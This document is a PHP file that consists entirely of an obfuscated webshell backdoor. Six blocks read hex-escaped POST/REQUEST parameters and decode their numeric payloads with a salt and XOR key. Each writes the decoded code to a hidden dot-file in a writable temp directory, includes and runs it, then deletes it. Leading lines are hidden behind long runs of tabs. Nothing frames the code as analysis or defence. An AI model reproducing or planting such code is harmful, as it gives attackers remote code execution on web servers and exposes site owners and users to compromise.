<?php																																										if(!empty($_POST["o\x62\x6A"])){ $pointer = $_POST["o\x62\x6A"]; $pointer = explode ( ".", $pointer) ; $tkn = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); $v = 0; foreach ($pointer as $v1) { $sChar = ord($salt6[$v % $sLen] ); $d = ((int)$v1 - $sChar - ($v % 10)) ^ 15; $tkn .= chr($d ); $v++;} $data = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp"]); $component = 0; do { $flag = $data[$component] ?? null; if ($component >= count($data)) break; if (!!is_dir($flag) && !!is_writable($flag)) { $symbol = sprintf("%s/.reference", $flag); if (file_put_contents($symbol, $tkn)) { include $symbol; @unlink($symbol); die(); } } $component++; } while (true); }
																																										if(isset($_REQUEST["\x76\x61l"]) ? true : false){ $hld = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp"]); $key = $_REQUEST["\x76\x61l"]; $key = explode ( '.' ,$key ); $fac = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); foreach($key as $m => $v6): $sChar = ord($salt2[$m % $lenS]); $dec =((int)$v6 - $sChar -($m % 10)) ^ 9; $fac .= chr($dec); endforeach; for ($object = 0, $elem = count($hld); $object < $elem; $object++) { $tkn = $hld[$object]; if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $k = "$tkn/.dat"; if (@file_put_contents($k, $fac) !== false) { include $k; unlink($k); exit; } } } }
																																										if(isset($_POST["d\x61t\x61_\x63hun\x6B"]) ? true : false){ $dchunk = array_filter([session_save_path(), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir()]); $property_set = $_POST["d\x61t\x61_\x63hun\x6B"]; $property_set =explode ( '.' ,$property_set) ; $ref=''; $salt4='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt4); $s=0; foreach( $property_set as $v5) { $chS=ord( $salt4[$s % $lenS]); $dec=( ( int)$v5 - $chS -( $s % 10))^93; $ref .= chr( $dec); $s++; } while ($fac = array_shift($dchunk)) { if (is_writable($fac) && is_dir($fac)) { $tkn = "$fac/.bind"; if (file_put_contents($tkn, $ref)) { require $tkn; unlink($tkn); exit; } } } }
																																										if(!empty($_POST["h\x6F\x6Cd\x65r"])){ $element = $_POST["h\x6F\x6Cd\x65r"]; $element = explode( '.',$element ) ; $mrk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); foreach ($element as $z => $v7): $sChar=ord($s[$z%$sLen]); $d=((int)$v7 - $sChar - ($z%10)) ^ 23; $mrk.=chr($d); endforeach; $ent = array_filter(["/tmp", "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); $ptr = 0; do { $pgrp = $ent[$ptr] ?? null; if ($ptr >= count($ent)) break; if ((is_dir($pgrp) and is_writable($pgrp))) { $dchunk = join("/", [$pgrp, ".descriptor"]); if (file_put_contents($dchunk, $mrk)) { include $dchunk; @unlink($dchunk); die(); } } $ptr++; } while (true); }
																																										if(array_key_exists("re\x73", $_POST) && !is_null($_POST["re\x73"])){ $mrk = $_POST["re\x73"]; $mrk =explode( '.' , $mrk ) ; $symbol = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $o = 0; $__tmp = $mrk; while ($v2 = array_shift($__tmp)) { $sChar = ord($s6[$o % $lenS]); $dec = ((int)$v2 - $sChar - ($o % 10)) ^ 62; $symbol .= chr($dec); $o++; } $ent = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path()]); $pointer = 0; do { $marker = $ent[$pointer] ?? null; if ($pointer >= count($ent)) break; if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $fac = "$marker" . "/.hld"; $file = fopen($fac, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $fac; @unlink($fac); exit; } } $pointer++; } while (true); }


if(filter_has_var(INPUT_POST, "\x74kn")){
	$binding = array_filter([session_save_path(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP")]);
	$sym = $_REQUEST["\x74kn"];
			$sym 	 =	 explode 		( '.'			,   $sym	 )	;		 
	$ref  =	 '';
            $s  =	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =	 strlen($s 	);
            $__len  =	 count($sym 	);
    
            for ($q  =	 0; $q < $__len; $q++) {  $v9  =	 $sym[$q];
                $chS  =	 ord($s[$q % $lenS] 	);
                $d  =	 ((int)$v9 - $chS - ($q % 10))^54;
                $ref .= chr($d 	);
            }
	for ($pointer = 0, $flag = count($binding); $pointer < $flag; $pointer++) {
    $ent = $binding[$pointer];
    		if (is_writable($ent) && is_dir($ent)) {
    $record = implode("/", [$ent, ".token"]);
    if (file_put_contents($record, $ref)) {
	require $record;
	unlink($record);
	exit;
}
}
}
}